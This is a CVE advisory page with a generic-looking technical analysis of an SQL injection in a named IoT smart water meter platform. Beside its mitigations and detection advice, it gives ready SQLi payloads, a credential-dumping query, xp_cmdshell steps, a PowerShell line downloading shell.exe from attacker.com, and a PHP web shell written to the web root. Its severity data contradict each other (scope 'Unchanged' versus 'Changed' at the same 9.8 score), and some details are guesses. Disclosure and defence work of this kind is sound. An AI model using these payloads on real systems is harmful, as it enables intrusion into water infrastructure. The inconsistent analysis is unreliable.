CVE-2025-63624
CVE-2025-63624
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
SQL Injection vulnerability in Shandong Kede Electronics Co., Ltd IoT smart water meter monitoring platform v.1.0 allows a remote attacker to execute arbitrary code via the imei_list.aspx file.
Comprehensive Technical Analysis of CVE-2025-63624
CVE ID: CVE-2025-63624 CVSS Score: 9.8 (Critical) Vulnerability Type: SQL Injection (SQLi) Leading to Remote Code Execution (RCE) Affected Software: Shandong Kede Electronics Co., Ltd IoT Smart Water Meter Monitoring Platform v1.0 Publication Date: February 3, 2026
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2025-63624 is a critical SQL Injection (SQLi) vulnerability in the Shandong Kede Electronics IoT Smart Water Meter Monitoring Platform v1.0, specifically in the imei_list.aspx file. The flaw allows a remote, unauthenticated attacker to execute arbitrary SQL commands, which can lead to unauthorized data access, database manipulation, and potential Remote Code Execution (RCE).
Severity Justification (CVSS 9.8 - Critical)
The CVSS v3.1 scoring breakdown is as follows:
| Metric | Score | Justification |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None | No authentication needed. |
| User Interaction (UI) | None | No user interaction required. |
| Scope (S) | Changed | Impact extends beyond the vulnerable component (e.g., database compromise, RCE). |
| Confidentiality (C) | High | Full database access, including sensitive IoT device data. |
| Integrity (I) | High | Arbitrary SQL execution allows data manipulation. |
| Availability (A) | High | Potential denial-of-service (DoS) via database corruption or RCE. |
Resulting CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
The critical severity stems from:
- Unauthenticated remote exploitation (no credentials required).
- High impact on confidentiality, integrity, and availability (CIA triad).
- Potential for RCE, enabling full system compromise.
- Exposure of IoT infrastructure, which may lead to cascading attacks on connected water management systems.
2. Potential Attack Vectors and Exploitation Methods
Attack Surface
The vulnerability resides in the imei_list.aspx endpoint, which likely processes IMEI (International Mobile Equipment Identity) numbers for IoT water meters. The lack of proper input sanitization allows SQLi.
Exploitation Steps
-
Reconnaissance
- Attacker identifies the vulnerable endpoint (
imei_list.aspx) via:- Directory brute-forcing (e.g., using
dirb,gobuster). - Shodan/Censys queries for exposed IoT water meter platforms.
- Source code analysis (if available).
- Directory brute-forcing (e.g., using
- Attacker identifies the vulnerable endpoint (
-
SQL Injection Payload Delivery
- The attacker sends a maliciously crafted HTTP request with SQLi payloads in parameters (e.g.,
id,imei, or other input fields). - Example payload (classic SQLi):
' OR '1'='1' -- - Blind SQLi (if error messages are suppressed):
'; IF (1=1) WAITFOR DELAY '0:0:5' -- - Union-based SQLi (to extract data):
' UNION SELECT 1,2,3,@@version,5 --
- The attacker sends a maliciously crafted HTTP request with SQLi payloads in parameters (e.g.,
-
Database Compromise
- Data Exfiltration: Extract sensitive information (e.g., user credentials, meter readings, administrative data).
- Database Manipulation: Modify or delete records (e.g., altering water usage data for fraud).
- Privilege Escalation: If the database runs with high privileges, the attacker may gain OS-level access.
-
Remote Code Execution (RCE)
- If the database supports xp_cmdshell (MSSQL) or LOAD_FILE()/INTO OUTFILE (MySQL), the attacker can:
- Write a web shell (e.g.,
cmd.aspx) to the web root. - Execute arbitrary commands (e.g.,
whoami,net user).
- Write a web shell (e.g.,
- Example RCE payload (MSSQL):
'; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\inetpub\wwwroot\shell.exe"' --
- If the database supports xp_cmdshell (MSSQL) or LOAD_FILE()/INTO OUTFILE (MySQL), the attacker can:
-
Post-Exploitation
- Lateral Movement: Pivot to other systems in the IoT network.
- Persistence: Install backdoors or malware.
- Impact Amplification: Disrupt water supply monitoring, leading to physical consequences (e.g., tampering with billing systems, causing service outages).
3. Affected Systems and Software Versions
Vulnerable Software
- Product: Shandong Kede Electronics Co., Ltd IoT Smart Water Meter Monitoring Platform
- Version: v1.0 (and likely earlier versions if unpatched)
- Component:
imei_list.aspx(web interface for IMEI-based queries)
Deployment Context
- Industrial IoT (IIoT) Environment: Used in smart water management systems, municipal water utilities, and industrial water monitoring.
- Exposure Risks:
- Publicly accessible web interfaces (if misconfigured).
- Integration with SCADA systems, increasing attack surface.
- Lack of network segmentation in critical infrastructure.
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
-
Apply Vendor Patches
- Monitor Shandong Kede Electronics for official patches.
- If no patch is available, disable the
imei_list.aspxendpoint or restrict access via IP whitelisting.
-
Input Validation & Sanitization
- Implement strict input validation (whitelisting allowed characters).
- Use parameterized queries (prepared statements) instead of dynamic SQL.
- Example (C# with ADO.NET):
using (SqlCommand cmd = new SqlCommand("SELECT * FROM meters WHERE imei = @imei", connection)) { cmd.Parameters.AddWithValue("@imei", userInput); // Execute query }
-
Web Application Firewall (WAF) Rules
- Deploy a WAF (e.g., ModSecurity, Cloudflare, AWS WAF) with SQLi protection rules.
- Example ModSecurity rule:
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
-
Least Privilege Database Access
- Ensure the database user has minimal permissions (no
xp_cmdshell,SAaccess). - Disable dangerous stored procedures (e.g.,
xp_cmdshell,sp_OACreate).
- Ensure the database user has minimal permissions (no
-
Network-Level Protections
- Restrict access to the web interface via VPN or private networks.
- Implement rate limiting to prevent brute-force attacks.
Long-Term Mitigations
-
Secure Development Practices
- Code Reviews: Audit all SQL queries for injection vulnerabilities.
- Static/Dynamic Analysis: Use tools like SonarQube, Burp Suite, or OWASP ZAP to detect SQLi.
- Framework Upgrades: Migrate to ORM (Entity Framework, Hibernate) to avoid raw SQL.
-
IoT Security Hardening
- Network Segmentation: Isolate IoT devices from corporate networks.
- Zero Trust Architecture: Enforce strict authentication for all IoT endpoints.
- Firmware Updates: Regularly patch IoT devices to prevent known exploits.
-
Monitoring & Incident Response
- Log & Alert: Monitor for SQLi attempts (e.g., failed queries, unusual database activity).
- SIEM Integration: Use Splunk, ELK, or QRadar to correlate SQLi events with other threats.
- Incident Response Plan: Prepare for IoT breaches, including forensic analysis and containment procedures.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Critical Infrastructure Risk
- Water management systems are part of national critical infrastructure.
- A successful attack could lead to:
- Water supply disruption (e.g., tampering with flow meters).
- Financial fraud (e.g., altering billing data).
- Public safety risks (e.g., contamination alerts manipulation).
-
IoT Security Challenges
- Lack of Standardization: Many IoT vendors prioritize functionality over security.
- Legacy Systems: Older IoT platforms often lack modern security controls.
- Supply Chain Risks: Vulnerabilities in third-party components (e.g., databases, web servers) can be exploited.
-
Regulatory & Compliance Concerns
- NIST SP 800-82 (ICS Security): Non-compliance due to unpatched SQLi.
- GDPR/CCPA: Potential data breach notifications if customer data is exposed.
- NERC CIP (North America): Violations if critical infrastructure is compromised.
-
Exploitation Trends
- Ransomware & Extortion: Attackers may encrypt IoT databases and demand ransom.
- Botnet Recruitment: Compromised IoT devices could be enlisted in DDoS attacks.
- APT (Advanced Persistent Threat) Targeting: Nation-state actors may exploit such flaws for espionage or sabotage.
6. Technical Details for Security Professionals
Proof-of-Concept (PoC) Exploitation
(Note: This is for authorized security testing only.)
-
Identify the Vulnerable Endpoint
- Use Burp Suite or curl to test for SQLi:
curl -X GET "http://<target>/imei_list.aspx?imei=1' OR '1'='1" - If the response contains database errors or unexpected data, SQLi is confirmed.
- Use Burp Suite or curl to test for SQLi:
-
Extract Database Information
- Database Version:
' UNION SELECT 1,@@version,3,4 -- - Table Names:
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables -- - Column Names:
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' --
- Database Version:
-
Achieve Remote Code Execution (RCE)
- MSSQL (xp_cmdshell):
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami' -- - MySQL (INTO OUTFILE):
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php' --
- MSSQL (xp_cmdshell):
-
Post-Exploitation
- Dump Credentials:
' UNION SELECT 1,username,password,4 FROM users -- - Lateral Movement:
- Use Mimikatz or PowerShell Empire to escalate privileges.
- Pivot to SCADA systems if network segmentation is weak.
- Dump Credentials:
Detection & Forensics
-
Log Analysis
- Web Server Logs: Look for unusual SQL keywords (
UNION,SELECT,xp_cmdshell). - Database Logs: Check for failed login attempts or unexpected queries.
- Web Server Logs: Look for unusual SQL keywords (
-
Network Traffic Analysis
- Wireshark/Zeek: Monitor for anomalous HTTP requests with SQLi payloads.
- IDS/IPS Alerts: Snort/Suricata rules for SQLi detection.
-
Memory Forensics
- Volatility: Check for malicious processes (e.g.,
cmd.exe,powershell.exe). - YARA Rules: Detect web shells or RATs dropped via SQLi.
- Volatility: Check for malicious processes (e.g.,
Reverse Engineering (If Source Code is Available)
-
Decompile the ASPX File
- Use dnSpy or ILSpy to analyze
imei_list.aspx. - Look for dynamic SQL construction (e.g.,
SqlCommandwith string concatenation).
- Use dnSpy or ILSpy to analyze
-
Identify Root Cause
- Vulnerable Code Example:
string query = "SELECT * FROM meters WHERE imei = '" + userInput + "'"; SqlCommand cmd = new SqlCommand(query, connection); - Secure Fix:
string query = "SELECT * FROM meters WHERE imei = @imei"; SqlCommand cmd = new SqlCommand(query, connection); cmd.Parameters.AddWithValue("@imei", userInput);
- Vulnerable Code Example:
Conclusion
CVE-2025-63624 represents a severe SQL Injection vulnerability in a critical IoT infrastructure component, with high potential for RCE and cascading attacks. Given its CVSS 9.8 rating, organizations using the Shandong Kede IoT Smart Water Meter Monitoring Platform must immediately apply patches, enforce input validation, and implement network-level protections to mitigate risk.
Security teams should monitor for exploitation attempts, conduct penetration testing, and harden IoT environments to prevent similar vulnerabilities in the future. The broader cybersecurity community must advocate for secure coding practices in IoT development to reduce the attack surface of critical infrastructure systems.
References: